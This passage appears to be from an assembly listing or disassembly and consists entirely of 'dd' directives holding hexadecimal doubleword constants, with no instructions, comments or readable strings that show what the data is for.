		dd 0A1C9441Bh, 0F2E4FECh, 0E2B39B04h, 66550AD8h, 404F8892h
		dd 0C1D68D9Eh, 0F0BE518Eh, 3A471993h, 2342314h,	71535B4Dh
		dd 0DD1C3D74h, 0E89E84C9h, 0B7FAF78h, 7C01399Bh, 7D050868h
		dd 8EA2B000h, 0BF4CC882h, 0F2FF0EBAh, 85A0F623h, 6B699966h
		dd 9D54F102h, 6295D9C9h, 44E86794h, 0E00A637Fh,	7C460F9Dh
		dd 50734916h, 331D08B8h, 30C19CCEh, 73D5E7E1h, 0FBACC439h
		dd 37CA4B00h, 0F91013A7h, 59D8C093h, 0EFB60AF2h, 0A66B2D40h
		dd 25CC00A0h, 0DDD35A66h, 89CC3E1h, 0B8E35112h,	9988E207h
		dd 0CFF9CC7Dh, 17E10D00h, 0F75E7677h, 289B5035h, 0BE910BABh
		dd 0B00BDDDAh, 4800E459h, 0F1FD42C5h, 940100A6h, 99112D55h
		dd 0C109BBA5h, 72C01FCBh, 28F602ACh, 7A5D3766h,	681D80ABh
		dd 66809511h, 0B374B4ECh, 45F1C109h, 0A9046840h, 0C99900A7h
		dd 0ED1A140Ch, 0CC002410h, 2C6F8FF6h, 0BBB373h,	9EF14497h
		dd 0BE5AFF3Bh, 9C00E8EEh, 1AD6757Ah, 0E04CD4F5h, 5CD89471h
		dd 0C092446h, 7C8281B4h, 1F01BD19h, 0A44C7011h,	7AFA0079h
		dd 54BDA79Eh, 0CCA321B8h, 6CEAC0AAh, 0EE7830D3h, 907F05C7h
		dd 0A8F52993h, 6540131Ch, 79B9CA4h, 75C368ADh, 1242A035h
		dd 0E09CAFDAh, 562465Eh, 40F6F3D2h, 0E10CBC30h,	42690070h
		dd 6C67CCB2h, 96036313h, 94026E09h, 7B97E841h, 0B762E01Ch
		dd 9D243890h, 0FD313E00h, 22102FC2h, 0F87800E8h, 0B29C67ECh
		dd 0DB12E645h, 8E41451h, 0E8B445F6h, 7039B2FBh,	0AB6F80E2h
		dd 6C191EFCh, 0B7E804CDh, 907D7CF5h, 9A9FB23Ch,	7004EE76h
		dd 0BC10418Fh, 515F70C0h, 5C34E86Ch, 26E89892h,	9A61058Ch
		dd 4C614C2h, 485CC5BCh,	0ECAE807Ah, 6413C4A7h, 0CF244601h
		dd 0CC169CABh, 0BEC2842Ch, 48598981h, 0C338EDA7h, 83C82262h
		dd 9807A6ABh, 9356C54Ah, 0D8F440F4h, 0CEC61DBFh, 4E3400B0h
		dd 0C1C5E5C8h, 172E18BAh, 61112068h, 10DB6274h,	630104C5h
		dd 0B9E1FBD8h, 0C8AB00FEh, 0A12C8B61h, 0B1421065h, 0F878401Eh
		dd 1BDD2FC5h, 1F07DC48h, 203AC881h, 7BADC1F0h, 0A7FDE280h
		dd 601A44C0h, 5BC808B7h, 0A8C4801Dh, 197159Eh, 45607708h
		dd 306E7Eh, 87239E83h, 53EC9EFh, 95FBB780h, 0C48C53E1h
		dd 0B054B6D0h, 3F1EAF5h, 0ADF843E4h, 502D7C3Dh,	11C378Fh
		dd 9480EBFFh, 39F7C097h, 7C0160B0h, 0FE660F33h,	0FC6C4460h
		dd 2C8C1AECh, 112C6E24h, 0EE3600BDh, 692E38CFh,	3E635A2Ch
		dd 7E2378h, 0B0C72667h,	0A0A4EBB7h, 8ECD1C00h, 44CA3D3Ah
		dd 55FF12E0h, 3490364Bh, 0FC09AA5Ah, 91949F79h,	8143804Ah
		dd 1DA0223h, 747AF76Fh,	39054DD9h, 0F87BAC80h, 32B003E0h
		dd 14292A2Eh, 59A8B6E0h, 27CCF059h, 11B01FFAh, 615A8095h
		dd 989CECFh, 5D1D0BAEh,	620084FAh, 40F3DB6h, 2F9A6AAh
		dd 0B46C988Ch, 246003E5h, 55803C3Fh, 75101733h,	951CE47Ch
		dd 2F0BA41h, 4C8315E7h,	3172E893h, 9B6142E9h, 0F508241Ch
		dd 0FB46E200h, 396F2B5Fh, 962F0298h, 37D80C9h, 649138DEh
		dd 0EC6C4F00h, 0AAF785ABh, 45290500h, 1E878252h, 8004B9DAh
		dd 0F16F932Dh, 0B701CEE5h, 11908256h, 0DC689D61h, 952DB0D8h
		dd 95C1D780h, 71EB0A0h,	0E20C4C2Eh, 0C1DA1FF6h,	56CB0047h
		dd 35AFC769h, 512DC46Ah, 0A62C03DCh, 61A00917h,	820B795h
		dd 909856E1h, 40B4ECF8h, 0D4EFF481h, 322A9493h,	58C44344h
		dd 0DD602499h, 7A852280h, 20010EEBh, 0B22CD991h, 545CF638h
		dd 63DD10B8h, 306FCC51h, 0C5B21088h, 541C194Bh,	0C81028D3h
		dd 0C21060F3h, 0C32DA051h, 0C31FB698h, 8800B7C3h, 64BC0456h
		dd 12CE3DC1h, 0D1626A0Dh, 944AC38h, 22AC282Ch, 15D5008Ch
		dd 0D43B1011h, 8C5F7386h, 0D44963BCh, 0D9EC1605h, 0B240E348h
		dd 7E193025h, 0DC626E28h, 1B39C322h, 29153D66h,	0E70530D1h
		dd 0E7E47004h, 0B6249981h, 13BCA190h, 0B0730AC4h, 0B36A0931h
		dd 0D8C195ADh, 0B7C292Fh, 0E8F0D016h, 66983Ch, 0C19DCEEDh
		dd 0C68ECC41h, 4EF3A10Ah, 9908B802h, 5F716261h,	56087412h
		dd 6D281A46h, 0E26E4484h, 0CB979F4h, 27450700h,	924D298Bh
		dd 0E0069728h, 17B5B995h, 80B191DCh, 0E7BA0102h, 0B1A54A9Dh
		dd 0BC7C2C6Ch, 4C078C4Ah, 2EF1E386h, 6F11C080h,	81E807E1h
		dd 0E0EBA3D2h, 0B3AEE454h, 9A2C8A7Bh, 4674F072h, 5E94002Dh
		dd 256D1D4h, 0B8BD00C1h, 3016DA5Bh, 0BB391A0Ah,	0E02FCFEBh
		dd 1C004D23h, 97C70D66h, 6C645CD1h, 675110h, 3AB2251Eh
		dd 0B7A4DBFAh, 0A800D8B7h, 73E87955h, 0BEB7000Ah, 0E9DC38ACh
		dd 0F0B922D3h, 0C024CD2Dh, 7BDA203Eh, 0BC27C700h, 4818744Fh
		dd 0C19C1387h, 8B345605h, 0C00DC84Ch, 8DF6B8Dh,	5344F001h
		dd 26F6F39Eh, 9C6CFAD1h, 748C4FB8h, 0CF260972h,	70107F3Dh
		dd 39027E5Eh, 944F3B85h, 0B9F060F3h, 0E66F80A5h, 0B4132090h
		dd 0C002E129h, 9642131h, 6D7F040Fh, 0FA5528A0h,	7D54D1C5h
		dd 61D765D8h, 1F91D081h, 1997E44Dh, 0C8C0CBB6h,	0C1B0C027h
		dd 0C49511A3h, 529300C0h, 0CDF80B81h, 0AC0BF36Ah, 0D2336680h
		dd 0E46E0B1Ch, 6C0265F1h, 0E05436EFh, 0DC57B07h, 12D8983Ch
		dd 125E0BE1h, 0F734B204h, 14CAD8h, 46D79782h, 0A94F2993h
		dd 52530809h, 5E209454h, 40009746h, 742D23B5h, 7F0046A2h
		dd 61FFABDh, 97E8B616h,	0B191B017h, 0F7C36A82h,	24213865h
		dd 0CC194851h, 0E4A0F308h, 40009DDEh, 0BCE53B4Ch, 0E9CE6FCh
		dd 9745D76Ah, 33C8B10Ah, 90A47CEAh, 0C6A4260Ch,	4410D1Ch
		dd 0B05FFE80h, 22BBA34h, 0E7B7E9C1h, 1C000E7Fh,	9A778Ah
		dd 65C46CCEh, 7CCDDFA5h, 3D24FB75h, 42602C6Eh, 5AA490D0h
		dd 6750D0F6h, 0C0E51DBh, 7E0D8E9h, 84401CE8h, 233F67Fh
		dd 0A97B434Ah, 98D195E7h, 0D0183279h, 0FB28640Fh, 0F250A01Eh
		dd 4827B45Dh, 2922433h,	91E68CC0h, 5A09AC40h, 0C379D81h
		dd 0C8848A4Ah, 7B7CA33h, 607A46F0h, 516CCF61h, 0B004C73h
		dd 0A3CC533Ah, 1F9957h,	598DE737h, 73DD51E1h, 0F51D353Ch
		dd 6E88B367h, 0D67453C0h, 24E27CF5h, 0A7FC4D0Dh, 595DACE0h
		dd 42D9B1C8h, 0CCA37843h, 0CEB0A709h, 37E4EBBCh, 1033D91Ch
		dd 0F12841D8h, 0C21F2C56h, 821761A4h, 57F60296h, 1B76FCA0h
		dd 6D1DDE27h, 9F80A44Dh, 0FDD944B2h, 4FD70098h,	92D4E1A0h
		dd 626745C9h, 0E8DE5359h, 3380BE6Bh, 0F4FEF7D8h, 0B904F272h
		dd 6F85D748h, 0FC5340CDh, 0E5110457h, 8A6FD9CDh, 5DF872FCh
		dd 4A4477F7h, 7C23A82Fh, 0E503FF24h, 3C639DC5h,	5AD4650h
		dd 0E460184Dh, 14187513h, 0C49CA298h, 6504F4D3h, 0A5A5DF3Ch
		dd 0EEE8453Ch, 66C280B1h, 124EC674h, 35C5E816h,	0F250E2B0h
		dd 0B9C53062h, 0C043490Fh, 5319CB2Bh, 4EA97340h, 208BD840h
		dd 0C503D012h, 801EF00Fh, 0DA6E43B9h, 3CAB9DE9h, 6A751402h
		dd 0C7DDE402h, 6023642Ch, 1ED7D22h, 11ABA6B3h, 269C8E0Dh
		dd 307CB2D4h, 61266521h, 0C149AC95h, 0D4429984h, 8FE32067h
		dd 0FE0114CAh, 366546B0h, 55D26FD0h, 0E6F14C82h, 207954F9h
		dd 4B00CB18h, 7FF6BD1Ah, 94307BDEh, 0D50A6E8h, 59D86A5Dh
		dd 1CDB2BF4h, 0C9F23D80h, 9A157061h, 7807B7Dh, 0C26D311Ch
		dd 0FAEFAC70h, 0E6ED1C2Eh, 0DD3D8214h, 20EAE120h, 27113C1Dh
		dd 44CC2380h, 0F4B1B93Bh
		dd 545A0E01h, 0C2045D0h, 7D021856h, 61359160h, 0D5727C00h
		dd 5DD089ABh, 82149B50h, 3619C5FBh, 0AB024454h,	90818A61h
		dd 3A9CE8DCh, 23CB2BD5h, 21EB8980h, 0C0AAB48Fh,	0F473D044h
		dd 0BB4CE52h, 2B122E1Fh, 67206DD4h, 551D7089h, 0C5203191h
		dd 0B86A0F63h, 287959F1h, 0B8B428FAh, 0D9B08CB0h, 99EFE00Ch
		dd 793C842h, 9DF4CE05h,	0BC119BA8h, 34C82EB6h, 0EB4601DDh
		dd 77A4917Dh, 0BCF0282Ah, 0BB008C4Ah, 100D9644h, 25B99028h
		dd 0A8FAD81Fh, 79674030h, 111B2Dh, 709FC21h, 0AC297C13h
		dd 12D3FE58h, 90A87BCDh, 488C4CECh, 6F13B5EEh, 0EFE00263h
		dd 80A2BBD9h, 0B0A11511h, 0F42EF1C9h, 53F79BF8h, 0B4883A84h
		dd 44002065h, 375E2367h, 0A007E5CEh, 28ADFBC0h,	0BD4C7975h
		dd 0F07EC37h, 0C2C03963h, 9D9DBF9h, 4FE0E8E9h, 6A444847h
		dd 0AEBD7660h, 3F4C5202h, 5EF8DDABh, 1CFB0020h,	268599CDh
		dd 18D0F14Ah, 6A86F529h, 0A84CE71h, 4B687C15h, 320010B7h
		dd 42B39DA7h, 53290945h, 847451ADh, 0CB80F545h,	14221979h
		dd 0BA33FE8Fh, 10C25505h, 0D3ECE989h, 25C8348Ah, 0E012FFC2h
		dd 1C35777Ch, 0A88AB1D8h, 11D880A8h, 0BA46800Bh, 91781795h
		dd 9BD28169h, 357A8CF7h, 83DCA8E4h, 0E001FB25h,	12631D2h
		dd 4B03D334h, 0D4EB68FDh, 0B713ACDEh, 54C26F9Bh, 80FC56F6h
		dd 0B587E888h, 7CA57E0Ah, 0B36020E4h, 0A7E69922h, 0E2466102h
		dd 5C4AA5CFh, 802CD9F8h, 58DC7481h, 9EA1CDF8h, 0B1DA05A8h
		dd 7AB48543h, 0A1D70044h, 1EC99F97h, 0D10D040Fh, 0B944E433h
		dd 40510884h, 9D24393Ah, 4C625FEh, 0B24E3843h, 3048B220h
		dd 4C0F1958h, 221A21Bh,	82E56CD2h, 935D88h, 0AB43298Bh
		dd 0E44C264Fh, 18DC414Fh, 982AA3B1h, 22BD879Bh,	2E6EDDC4h
		dd 0A209EF02h, 248384DAh, 0DB47B125h, 0F2057094h, 0A310EC18h
		dd 9CA02DA8h, 985A85B0h, 0A6F4533Bh, 9CB4E424h,	0CFF50030h
		dd 1E61F6AEh, 0E12599E9h, 6B78254Fh, 0E46D3CC0h, 813A5B17h
		dd 44DF1FF4h, 0C1C0AC6Ch, 6EA5102Ah, 59FA9C34h,	0D8BD74E3h
		dd 0FB606E86h, 0CA895FE8h, 32660B40h, 0E447473Ch, 1D612164h
		dd 0DE3BE0DFh, 51DBC504h, 44AF14F8h, 130181B4h,	46EF90C0h
		dd 9E2602FBh, 2B1F9C5Bh, 40AEFCA2h, 0F1581A00h,	28930061h
		dd 33352FAAh, 0CF2E174Ch, 0EB006D32h, 5489BD8Ch, 1C1E6687h
		dd 0E6600877h, 0BD850D21h, 0EF58C080h, 0D8D7CF8Fh, 54B2B000h
		dd 0BE0C2C12h, 3C1501EAh, 0B37FFA9Dh, 52CB0036h, 24F20E53h
		dd 0CFAF46BCh, 4C083EACh, 4B7321C1h, 76214DF2h,	0D0048103h
		dd 76C60B8h, 16D1431Fh,	4C50836Bh, 410610EEh, 40B507B0h
		dd 27F0741h, 40E85C19h,	0A985BF91h, 0D0389203h,	3ACB35B4h
		dd 891D98C0h, 4E11B0E2h, 5901F62Ah, 0FE5747B8h,	8980FAFh
		dd 22752143h, 723EF607h, 0A0F1BEC7h, 0BAC046E1h, 83E0C88Eh
		dd 28F257C0h, 226646BCh, 77754Fh, 4555B1F2h, 133A1B08h
		dd 0CE18E776h, 0CA713BE3h, 980903E2h, 0A7FC79B1h, 0BCCE27E8h
		dd 37B3F01Fh, 99C4E640h, 30DB11F1h, 3258FFB8h, 7906BFB9h
		dd 0A35A6FFBh, 2854698h, 0BC2AF259h, 10473176h,	7F25179h
		dd 0B48314BAh, 350EC05Ch, 5701E856h, 4A38DF5Bh,	0B9E4E7B8h
		dd 31AA0176h, 0D080BA43h, 81C4471Ah, 40E5D4AFh,	84CB998Ch
		dd 2504B0ACh, 1FB854F6h, 70204662h, 0FD7F61Dh, 0FB113AEEh
		dd 0BC460C3h, 0C1B580Dh, 98F3282Fh, 5C5120h, 0BA599FE9h
		dd 13A19711h, 116F03Dh,	0C8CB108Fh, 0B0814063h,	1B1D2F64h
		dd 1A9050FDh, 8D388E89h, 36EF8683h, 6008737Bh, 813C6115h
		dd 8D006C8Eh, 0D0C0279h, 185BE503h, 0D8ED40AFh,	3B0DCBDFh
		dd 10EE3487h, 0F2BE7040h, 0C3D4813h, 58DC7810h,	7D42062Dh
		dd 7CE0CE17h, 9C9216h, 63DACF1Dh, 0F812EF61h, 0E500D0FEh
		dd 0D12718BBh, 30F05704h, 58C03DF3h, 39C0D217h,	6EE7ED20h
		dd 5257CECh, 0E30B813Eh, 4CA04042h, 0BA7560F0h,	8200A0F4h
		dd 26F5D833h, 3E9C9EDDh, 1CA4786Dh, 0D7166380h,	86B35900h
		dd 69E48B0Ch, 1C4800D8h, 4C9560A3h, 0B7004501h,	0EEBDBE2Ah
		dd 0EFCC5Ah, 0FE1B8C57h, 17D480B9h, 2098D0A1h, 33263644h
		dd 91C02051h, 46548EBDh, 0E422AFh, 0BBD8A12h, 0DD14C8F6h
		dd 8141DC14h, 58B70650h, 246007C0h, 1128D25Dh, 0F6248083h
		dd 8C17B853h, 1C6F4744h, 80C9F61Ch, 22D184F7h, 0F328B7FDh
		dd 5248AC47h, 8C45E850h, 8CDBE638h, 193DE3C6h, 68E077h
		dd 15F1F843h, 0CD6B49C2h, 8060C139h, 0A1B498F0h, 390725A7h
		dd 3035BADBh, 1E4C0838h, 898E8AC3h, 1F0E8B83h, 68C0823Dh
		dd 605DC3FBh, 88580297h, 3FB65CF1h, 33368FE1h, 0E294426Ch
		dd 206D3142h, 0EDBCE4h,	0A2FBBB5h, 5D7BEFCEh, 8350998h
		dd 0C118348Fh, 0A404BB60h, 0CE0CB7BEh, 0E08084D0h, 2840CF13h
		dd 0B6DA33E1h, 21785223h, 118E8D30h, 88A38391h,	85408713h
		dd 9F87B08Eh, 0CA48A4CDh, 6BF90048h, 4BF054E1h,	4498DE52h
		dd 0C46110C4h, 5060C254h, 11BD9030h, 88A7548Dh,	891180E0h
		dd 930FA9BDh, 0D1B0091Bh, 0C1B87419h, 8EC1DA9h,	2C608C3Ch
		dd 8C20C88Eh, 90118C7Bh, 11889B83h, 8E843F80h, 5471CC8h
		dd 0A0975C4Ah, 5A980BD1h, 60841C24h, 2129F258h,	78C06EBCh
		dd 0A0F250h, 0D4AF47Eh,	16CDD8D5h, 0CC038809h, 31D8A0B8h
		dd 0C61C8B4h, 372E7015h, 0B5760988h, 94483368h,	0C4944A11h
		dd 7754870Ah, 40E8C494h, 30BD830Bh, 0B38C002Ah,	1A804BF7h
		dd 0BC3A49F4h, 0D0E331B7h, 30523F18h, 0BD8B304Bh, 7F548813h
		dd 0C0438h, 5C3EBD84h, 0E0BCB1EAh, 3B7E4111h, 29D31718h
		dd 63A6E1Ch, 0ACEF0522h, 0A0088BBAh, 0F254C080h, 4E46BC25h
		dd 4C748877h, 0FF00F272h, 0D00C6104h, 78DDA40Fh, 38D8A81Bh
		dd 1E2E04DCh, 0C101E6D4h, 63DAF7E9h, 0B06002B0h, 0C30FEFA1h
		dd 0CEC0FCFCh, 90066880h, 7FF90A7Ch, 88E6A4h, 34B1B0EAh
		dd 0C1C2D518h, 0D8F4FD51h, 0F8A0450h, 0C2BABE64h, 29308844h
		dd 0B85811F6h, 8048883Fh, 1CF62174h, 230389F0h,	1BD38699h
		dd 0A5C10E0Eh, 36203B08h, 6DA2160Ah, 0D2002675h, 31F058CFh
		dd 420DB99h, 70EC7B2Ah,	9B18814Dh, 0B77C243Ah, 749086Bh
		dd 7F45C130h, 0EEE888h,	84A1A0FDh, 499FE8CAh, 3408C091h
		dd 20954B44h, 2580E891h, 0E634D050h, 0ACA06100h, 0B9994B17h
		dd 0C3C117C5h, 7CC020E2h, 0B3E2EF14h, 0E6339500h, 9884E8DEh
		dd 8D640146h, 457A8AB8h, 6740FE1Ah, 0E8911718h,	31CC3500h
		dd 1B5C968Dh, 0D0E82CB7h, 0F8BE29C0h, 42D104B1h, 6217A918h
		dd 7C435088h, 8330B7BDh, 60588047h, 18A49A90h, 39647B41h
		dd 91C0DB16h, 441C7353h, 391A162Fh, 811B00AAh, 7AC69AB6h
		dd 80F81858h, 0DCD6CED9h, 0E34A18B4h, 834C493Fh, 0D8E9BC07h
		dd 0B050C4F3h, 3E7F1F01h, 1301DFA8h, 0FA194C8Dh, 5A40D03Fh
		dd 7A8BB000h, 86319854h, 2EB14409h, 59942B02h, 61245690h
		dd 3019226Ch, 83269247h, 16C46CABh, 8E864140h, 7F07AEF4h
		dd 0F5C71202h, 26856270h, 47EF17FFh, 6FC0123Ch,	2DA60298h
		dd 441C9571h, 0CF0D09CCh, 6280F168h, 31992844h,	0EC41B324h
		dd 439E6D80h, 0D9A602h,	7A931D18h, 9F372C24h, 0C0548005h
		dd 0A8D35077h, 4FD0C085h, 8D11C363h, 5A05DAB4h,	7FF0F2CBh
		dd 0B385A60Eh, 0E123643Ah, 11B66603h, 0B421E5E5h, 14C3C0DAh
		dd 0CB209C9h, 5FC85406h
		dd 4C07885Ch, 5AD374EDh, 7FC02961h, 0AC64DAF9h,	608500BDh
		dd 58E46BEDh, 1C302BBFh, 0D722510Eh, 0EB7D0048h, 0B82ABEF0h
		dd 6500101Dh, 0BDE34DC5h, 0A5BAE61h, 0CDBB0963h, 7F4F6FFCh
		dd 8CB76682h, 9201D851h, 5890B423h, 8B03E821h, 8402BDD3h
		dd 0CAF4E483h, 8D4E4084h, 38E32413h, 1546741Ch,	312D2Eh
		dd 7A686008h, 825C4250h, 0A409DEFCh, 7FC4C2Ah, 77953F1Ch
		dd 504727D8h, 0A3A6419Ah, 44947A01h, 4EA5F367h,	192FFFCCh
		dd 401DA488h, 0D473C2h,	8A8B97BDh, 7F96022h, 9E185CBCh
		dd 83C0A3C8h, 878009E5h, 0F62804B0h, 37B85713h,	73C438h
		dd 519BF620h, 0B6AEA177h, 5C481D58h, 2F4B80D8h,	517CF59Fh
		dd 8C36946Fh, 6AA2E5F0h, 59ADD601h, 0F0B4AFBCh,	612ED840h
		dd 40144DA4h, 680FEB3Fh, 46D3A22Fh, 29DCC048h, 0F92B9F02h
		dd 885638B4h, 465C44E0h, 0D13405E5h, 0FCC5118Dh, 80E44903h
		dd 0B4500A5Eh, 17D4025Fh, 579C201Ah, 0D032B8B0h, 719C90DEh
		dd 18497190h, 0DA5A07E2h, 0F05D89EFh, 0B7B3DC60h, 0FF1548B1h
		dd 513D06B4h, 5C38FB38h, 48BC089Ch, 6B10008Ch, 0EFEE861Eh
		dd 0C9A51FBh, 0FC68BA14h, 1CB783B0h, 0B0780CD2h, 3D7133AEh
		dd 503ED508h, 5A40A3A7h, 95F77AC0h, 67020AECh, 19F04F05h
		dd 78B04312h, 315662E0h, 54720D1Bh, 25467600h, 69CE9B38h
		dd 47DB1F92h, 6CEBC019h, 602613CFh, 31311C30h, 0B230E425h
		dd 0B89228D4h, 8C9D230h, 0B444B04Ch, 0BBD38A4h,	0FC7F8FF2h
		dd 4E443A03h, 0FA2C403Fh, 4A4CAEECh, 51429E6Ch,	81037488h
		dd 0F897BF98h, 808CD455h, 650D58FDh, 71EA9C00h,	1DB47AD4h
		dd 322CCAF8h, 4674C4F9h, 0E159004Ah, 0B11222BDh, 0EA94C23h
		dd 602B5602h, 0C841A6BBh, 55C85881h, 0BC26F208h, 4E4DC456h
		dd 0DDF2A075h, 183D3E0h, 0D9BFF758h, 42FEF6C1h,	0F49990C4h
		dd 0F2C4197Eh, 3EBC2923h, 4A72402Ch, 397EE6F2h,	3DC6D000h
		dd 0F0565411h, 336496B7h, 28D483Ch, 3FC8CAB0h, 8513BC58h
		dd 0C841F0ECh, 52FEBC1Bh, 80F04C66h, 0E3306C48h, 0CB98393Ch
		dd 4B8AC85h, 0B855F626h, 20496227h, 0AEF61E71h,	6BDF3500h
		dd 0B87451C6h, 0C82F67AAh, 0E00B48A7h, 0A140809Fh, 3C636Eh
		dd 0F231A0DEh, 0E8DA8FF8h, 8211E49Ch, 52F62380h, 0B8B90FB8h
		dd 0F61B6EC0h, 0B0587146h, 5AB8B0EEh, 8BE46427h, 0C04988DCh
		dd 0A75175DBh, 3DAAC100h, 523E4D42h, 0B4848244h, 6A804306h
		dd 30CED0A6h, 0D65104D1h, 0C0A97675h, 81428E10h, 2A5982F9h
		dd 0C6FE1B8Dh, 3B751E00h, 8FA0000Bh, 9DAE2660h,	4F791C91h
		dd 29008418h, 5ACDC57Ch, 0B38771Fh, 18E41D17h, 0AF6C821h
		dd 53C8E02Dh, 0BE2D1492h, 82D409F1h, 0E3FE0E8h,	95932BDh
		dd 0C6313140h, 49C7C303h, 0F53E9345h, 884DE0A7h, 7600A7ACh
		dd 6AB8ED37h, 7F7B999Eh, 142DEB0Eh, 8DC04DC8h, 46548ABDh
		dd 0E2228Fh, 0C5BD860Eh, 0DFB2F092h, 8941CB14h,	7F8E80E8h
		dd 0C040E36Eh, 7E589311h, 40089CCh, 9929870Dh, 1C94C4E6h
		dd 0C445E306h, 0B26A192Dh, 334BF2BCh, 0A0B57E80h, 70B3B802h
		dd 40F8A391h, 823EDF80h, 0B28A7880h, 201FADEFh,	4E055B6Fh
		dd 0BC03FC86h, 0BFD51CF1h, 0A3E50981h, 3444DEh,	0E78093ADh
		dd 0A877EE9Eh, 8B091D09h, 94741875h, 219B2489h,	0D124293Ch
		dd 0E4A81846h, 0B947A1Bh, 0D017BB8Bh, 4B11581Dh, 0BDB2E980h
		dd 0C439E2E0h, 5C6C1383h, 0DC2A3CC0h, 2FA34F5Ah, 1F4A236Ch
		dd 8EEB82C4h, 2C518AD4h, 0C1181179h, 0A9FFB604h, 28A28542h
		dd 1A146808h, 4CD65B1Dh, 9A8E4C6h, 0CCB48242h, 4C3724A9h
		dd 0F8307512h, 7E955ADh, 7B8E31F7h, 8D1CB005h, 0EC352AA8h
		dd 9C81A901h, 4E0163CCh, 0B26033F4h, 0A7F304Ah,	0BF922900h
		dd 54740482h, 0C070424h, 0F3E7B509h, 33E1E2F4h,	2B0D2380h
		dd 3C98CC2Ch, 0D3BF3180h, 5A8088B8h, 0D8F06115h, 0F428092Fh
		dd 8C0FACh, 0F9ED234Dh,	0F43599E5h, 3E47EF16h, 1F56EC9Ch
		dd 22175A25h, 58365000h, 93B271EEh, 0A072A1h, 519D76BDh
		dd 0E48E11BBh, 6860DA17h, 8AB0A419h, 0EC9DB0DCh, 905CCAh
		dd 0F970B70Bh, 50BEC446h, 4F4656h, 0DB2F0922h, 7AC1B8F6h
		dd 37AB095Ch, 4C49D363h, 111FD282h, 3683804Ah, 12DB905Dh
		dd 426CAFBDh, 32F8185Ch, 0E711F09Fh, 17A26C80h,	45026285h
		dd 56C80877h, 784C40F3h, 0F6C38335h, 0E85707C0h, 0C83ADB28h
		dd 0FCB4C108h, 4E1C0237h, 438549h, 0E86C8C84h, 50415D6Ch
		dd 369020ECh, 25F04C2Dh, 54E0CA18h, 8B42409h, 0BBDA8A54h
		dd 55B04224h, 8AB8CA02h, 1B11301Ch, 8B8E8780h, 448C7383h
		dd 7F003A17h, 70C11D8Eh, 3082223h, 21532B01h, 1CBA58B8h
		dd 545A5854h, 18EF5608h, 9CA60F4Dh, 2B006CC3h, 0FBAC87BEh
		dd 0C35850D4h, 900E4ACCh, 227149Fh, 0B0B1E859h,	0DF6D940h
		dd 9579D430h, 0DD12054Ch, 8A942AD0h, 0B8F85898h, 810E8CE3h
		dd 6261D454h, 548BE856h, 3E8A0FE0h, 34213D89h, 63338341h
		dd 55150030h, 0FCE088BAh, 87C9642h, 9C20F9DCh, 0A21D7425h
		dd 0CE9088h, 0E406830h,	9718B09Ah, 8031DC7Ch, 98024060h
		dd 4739B905h, 0D0400A1Ch, 72973313h, 21B11830h,	57FA9A4Eh
		dd 0E9ECDF09h, 0A0D80F8Ch, 80B9FF1Eh, 48166464h, 0B8E8A92Bh
		dd 915F1D4Eh, 0B508423Ah, 50408657h, 638243A0h,	238D2E0h
		dd 0D4541859h, 0EC746C80h, 41C48Bh, 271FE6Eh, 493CFB2h
		dd 974CDD2Fh, 80E89138h, 43F88831h, 2C5F468h, 0BCA0B4DAh
		dd 1C4870AFh, 3854885Ah, 25132EB4h, 844160ECh, 0B8F2BE31h
		dd 0C90CF0E0h, 70659C20h, 97604CC4h, 4FF2CA82h,	0B4D00328h
		dd 14744002h, 0A0051BEBh, 0BAD7249Ch, 0B66400D1h, 0F71D36C3h
		dd 52F1CA5h, 0E8BD27h, 6A5F0B53h, 0C8C4ABCAh, 0BB0224D0h
		dd 6C78E487h, 0A7899509h, 10E0822Fh, 0BBBD030Eh, 2D1D1805h
		dd 0A849D01Ah, 0E42CE5CBh, 0BCC66046h, 6CF04997h, 0E030205Eh
		dd 630C87F6h, 0A0D131F8h, 901340D8h, 3EF24C98h,	10DA0982h
		dd 7E067B58h, 8FC1029Ch, 3E93B858h, 50604A00h, 40096834h
		dd 10A0248Ch, 991B0053h, 37552D85h, 0CAD8C41Eh,	2E40C262h
		dd 0DCB7AC89h, 1BDA0387h, 6884BC53h, 0B9A9069h,	0D03738E3h
		dd 2CD2889h, 1A24F0h, 3534BAB5h, 11F49795h, 5DA580E2h
		dd 0A41852E3h, 853905B8h, 0C16E3FABh, 0E6593E92h, 0CC903C7Ah
		dd 56BF01EDh, 90814AE8h, 8EEA0080h, 25B9425Bh, 5A043336h
		dd 0DFD05728h, 83FAA4E1h, 91AA4h, 0F918ADC9h, 0FAB62194h
		dd 8CF20300h, 7DE34579h, 22C4A00Eh, 8F32162Bh, 8B0452A0h
		dd 0C047C80Ch, 5C0DCF2Ch, 0A89ECE34h, 6E4FC8F6h, 0DE480180h
		dd 6CAD401h, 12A28063h,	31C6330h, 0B9A20554h, 42987BCDh
		dd 0C0A8D618h, 8203222Dh, 4136877Eh, 83B1B1C1h,	0B1493830h
		dd 0AC6715C0h, 0F852093Fh, 73F13100h, 3A2B51Fh,	0CC58FCB4h
		dd 0ACB184E8h, 6D184D71h, 0E2BA9000h, 0B8A8753Ah, 4DD4A9C0h
		dd 0B5842473h, 0B43143E0h, 0BE00BFC1h, 0B4D95C97h, 0AFBBE1D8h
		dd 0C0002B84h, 7F42A63Ah, 80B180h, 0EC7D3156h, 112C1F97h
		dd 7E089035h, 70179E37h, 0F2F1DA69h, 0FF50F60Dh, 67F2E8E6h
		dd 6048E448h, 133A3319h, 45C880BAh, 0CC2D1B88h,	4D5A8C88h
		dd 0D0C6DC4Fh, 0C0B6FA22h, 0A1ED00DCh, 0F9D7BF4Bh, 4DEBFAF3h
		dd 0B46E2E98h, 0ABF0A600h, 0D4DB5156h, 405BCF3Fh, 0E4A095E2h
		dd 75C83C24h, 0FB2F5700h
		dd 0CF39D33Fh, 50581636h, 90B4C2BCh, 0DCEAE88Bh, 0FE1BCC61h
		dd 0CA527B00h, 1F97C31h, 25DB014Dh, 335A890Ch, 18FB1FE0h
		dd 3A523E07h, 6C88B760h, 10C08206h, 689648CCh, 86992C02h
		dd 4F20610Ah, 8F026436h, 9F548CBDh, 1058185Eh, 36BD0588h
		dd 40021BFCh, 2B6374A8h, 87797A80h, 0F224F0EAh,	0B6111CCFh
		dd 0EC318E00h, 0B8569585h, 3000DF5Eh, 78612E5Bh, 2E9C8128h
		dd 0ED00646Bh, 27006C3h, 0AC009949h, 0E165F132h, 3C8A5D5Fh
		dd 80001D7Fh, 9763610h,	854C1B60h, 63DA05A4h, 4078754h
		dd 18C38B25h, 97E900D8h, 50664073h, 0BB1D1085h,	0DD4963D9h
		dd 0E494655Bh, 8647614Bh, 164E38C0h, 495DE3A6h,	0B49798E0h
